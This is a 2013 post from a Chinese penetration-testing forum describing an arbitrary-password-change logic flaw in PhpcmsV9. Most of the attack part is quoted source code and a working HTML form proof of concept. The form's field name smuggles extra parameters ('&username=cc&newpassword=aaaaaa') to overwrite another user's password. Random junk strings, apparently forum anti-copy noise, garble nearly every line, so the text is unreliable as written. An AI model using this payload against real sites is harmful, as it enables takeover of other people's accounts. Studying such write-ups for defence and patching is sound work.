中国网络渗透测试联盟

标题: PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发 [打印本页]

作者: admin    时间: 2013-2-23 14:46
标题: PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发
提到的通行证的代码:
1 E/ {4 Z) D8 B7 v! Y0 f- }9 M" ]& U# C* R; B
  d1 r9 I% D; `) o
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
" e/ v5 Q$ v5 M4 E% c: h1 U, Y4 h6 l
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
# G1 F5 [' @; A7 I' c# {
5 @, e& l2 }- I我把它留给了你们。; H9 p( B+ ~4 i; E7 f
不知道你们发现了它没有。6 w5 s& L$ Z) A( @( M  _0 K: i9 b
) l' C: y1 m' b9 Q8 g2 m9 P% U
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
. y7 M2 t+ D+ `; M& `1 u& g2 E- h7 b
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。1 B9 n3 }) F3 t# y
, v# i7 C1 [% {( h1 C
也就是2 l! W! b, t" h  ]# X
! V% X" [- y1 K# ^9 g
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
  V6 {  H- O" H% b3 }/ D; a: I; H# _3 c8 J
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
- O$ h' F" u( t: y4 @/ L' C, i& u+ n$ t

' L0 v  x+ T) U4 m. c  A其实我们有这样的机会,看看代码,如下:
% q3 s+ l. z7 A- M) t2 a( o+ N  J7 ]; e1 ~
& y# ^$ O* z) P
public function auth_data($data) {
# X, E/ y. _2 b9 l. z                $s = $sep = '';
% X9 a4 t* M& ?* z& g                foreach($data as $k => $v) {; w3 S" N0 ~# g' |! S
                        if(is_array($v)) {) p1 y# Z9 {" F& ]; \
                                $s2 = $sep2 = '';
/ d+ A0 }8 w4 s$ V8 T                                foreach($v as $k2 => $v2) {
) j. F# f% \6 W! A                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);0 [& s/ P' i# V
                                        $sep2 = '&';
. h! u( k. `; I/ V, l                                }8 x5 d" \# h" S8 p
                                $s .= $sep.$s2;
) w2 H, t9 A1 n0 A. Z- b: U7 P                        } else {
- R$ y2 x* u+ A. w1 t' @6 e* P/ R                                $s .= "$sep$k=".$this->_ps_stripslashes($v);% K" z2 H1 i  c; M$ t
                        }. c& ~1 q! G/ v0 B9 h, k! \
                        $sep = '&';
0 k, M6 C. y% l$ g5 B7 ?% |5 `                }
9 a; l; W9 H4 a, c% e0 [2 M4 L6 Y: g* L6 n  e: N  Y% Y+ D+ W
                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
+ j# Y# A5 d) v" |2 R8 M$ w                return $auth_s;( @  Y: Z! [3 G* C. }8 i% G
        }3 t& a, x5 P4 t5 K) o
3 S$ o( w8 e( k# S) K
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
$ ?* I. H- b3 p1 t+ I( |# N$ D# c  _! H7 M9 y- H
举个例子4 U) @, b3 d  j0 y  u& A
; B% n# x5 i* F9 W+ M& _: l  ~/ s
$a[aaa=a&bbb] = 'a';
3 M* B6 D0 ?0 T2 F( j* m4 E
4 [; h' V/ d! i3 D! X会变成aaa=a&bbb=a2 b, S9 S9 V+ n. R. [/ U% e

9 I' u/ U1 a( e3 u) o明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。: |: @0 O* i+ y3 J* z# O1 d
4 P4 h8 y& U& c" }
这个时候,我们可以再去看一个函数。, ?. V) D/ E# \; g

# c( l3 Z# F* N# V  r' ?8 ]就在这个文件内:
0 Z, X1 d" u, I' t: R0 a' W5 a+ ?$ r
9 K- a- ~, M: I) b: K
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
  b+ P" t: E+ _& T9 q0 g/ g                if($email && !$this->_is_email($email)) {! Z7 P( b6 q  R& y7 I
                        return -4;
" g8 S9 c/ c& O# b- y2 u                }' h; N: P' e- F) ]% {0 n  a8 W
                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
# g, Z4 j. ~+ z! W        }( L9 @9 w/ `7 _2 _7 y2 s5 J
) Y# v& }4 O- ]+ H3 K8 W
这是向通行证发了这样一个请求。
& w$ S* T" z- Z; Z+ i  Y( c9 O9 Q; v7 E+ D8 i& Z. ~
我们再跟到通信证代码里去看看,就会有所发现。
# f- i, V. N( r' m/ V( X1 g' G7 M2 a/ S# x" B. o* p

8 r# g% M& K, I7 ~public function edit() {
' n6 L0 h8 |% u+ Q//能省就省,太长了不是吗?
' ?) ^# _4 O/ C' @
$ C- s2 U0 @, n* [' gif($this->username) {
; M. ?/ e, s9 S1 }" b& X9 m) P//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
$ j0 e1 F( z+ r) z3 ]5 Q                                $res = $this->db->update($data, array('username'=>$this->username));
& F/ r5 R" ]  t0 X3 n+ v                        } else {
' d" x& o* p$ a: ^                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);
( g% W! a, F$ }) f/ N( r                                $res = $this->db->update($data, array('uid'=>$this->uid));8 ^2 B" d2 ~8 h8 w2 B/ b! X4 F
                        }
/ V2 V" N+ r; _8 E% @! t4 B0 v% i6 E
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:$ m  V. T9 d5 ?$ E& y8 h

6 ?  w8 P6 O* U- Hpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')- u/ }, t& p; }$ Q% e
' i* C0 q0 |, n" q
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。. }7 b, N( S6 d9 `
  J7 J9 N2 `- h* ]# T8 Z+ [
我当然找到了:$ J  E4 D, }4 `$ j: T& m
phpcms9/phpcms/modules/member/index.php2 @1 V" ?7 P( }! Q- F. I: v

( |) b8 b8 j$ o* {1 ~4 s$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
& f, b5 L1 q$ J0 W% ~+ I9 H, S% z3 |
然后就没有然后了。
6 V% h; @. v  Z2 G% n: |) c; _
# S. e" O1 T3 ~+ W+ e# x<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">3 p- R  j- w* h" @- M
                                <table width="100%" cellspacing="0" class="table_form">$ ~% {; P9 [& t5 \2 p
                                        <tr># {/ V$ r$ B; W) K- E
                                                <th width="80">邮箱:</th>        
3 n8 ]. d- C+ H9 F3 |                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>: H1 O/ E" |7 G' q0 r
                                        </tr>7 _+ C5 m3 |2 }' u
                                        <tr>/ ^) x6 `6 T% d; C
                                                <th width="80">原密码:</th>        7 ^$ i% H8 Q! Q! m" W" J
                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>: L$ {8 R7 K+ e. O% ~4 r
                                        </tr>6 P: \! z: J! p4 A  W
                                        <tr>
0 b3 `0 Z3 p6 C. R1 r6 s* _                                                <th>新密码:</th>- R$ n" _& f1 j
                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
0 q) E: k9 Y$ O. M8 v0 Q0 R/ p                                        </tr>
  M, N: K! H  t% r! T                                        <th></th>. w- [5 B* s  p- u
                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>2 ]+ }& Y! F6 b: M
                                        </tr># z  N, l5 r+ Q' W! n+ a
                                </table>7 V( v1 {* S- n3 z+ _

$ _5 U" l9 c! t0 L. n$ _                               
; p& w/ |( ]; p% c1 H( D, |3 c9 ~                        </form>; k, W/ T9 F7 J  D





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2